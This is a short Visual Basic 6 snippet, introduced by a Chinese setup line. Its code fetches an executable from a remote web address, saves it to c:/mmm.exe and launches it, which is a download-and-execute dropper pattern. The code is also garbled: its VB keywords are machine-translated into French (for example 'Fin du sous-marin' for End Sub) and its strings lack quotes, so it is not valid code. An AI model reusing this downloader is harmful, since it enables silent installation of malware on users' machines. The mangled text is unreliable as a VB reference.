建立一个vb工程，Project1
Logiciel d'exécution de script Microsoft, Microsoft Active Data Object, Microsoft MsXml
Formulaire 1 :
Public a As MSXML2.XMLHTTP
Private Sub Command1_Click()
Dim d Comme Classe1
Définir a = Nouveau MSXML2.XMLHTTP
a.open get, http://www.ljc.com/sll.exe, vrai
Définir d = Nouvelle classe1
a.onreadystatechange = d
a.envoyer
Fin du sous-marin
Classe 1 :
Dim b As ADODB.Stream
Dim fso comme Scripting.FileSystemObject
CurReadyState public tant que
Fonction publique doSome()
Debug.Print Form1.a.readyState
Si Form1.a.readyState = 4 Alors
www
Fin si
Fonction de fin
Fonction publique www()
Ensemble b = Nouveau ADODB.Stream
b.Type = 1
b.ouvrir
Définir fso = Nouveau Scripting.FileSystemObject
Si Form1.a.readyState = 4 Alors
b.Écrire (Form1.a.responseBody)
Si ce n'est pas le cas fso.FileExists(c:/mmm.exe) Alors
b.SaveToFile c:/mmm.exe
Fin si
Fin si
b.Fermer
Définir b = Rien
Si fso.FileExists(c:/mmm.exe) Alors Shell c:/mmm.exe, 1
Définir fso = Rien
Fonction de fin
"Class1" doSome "default"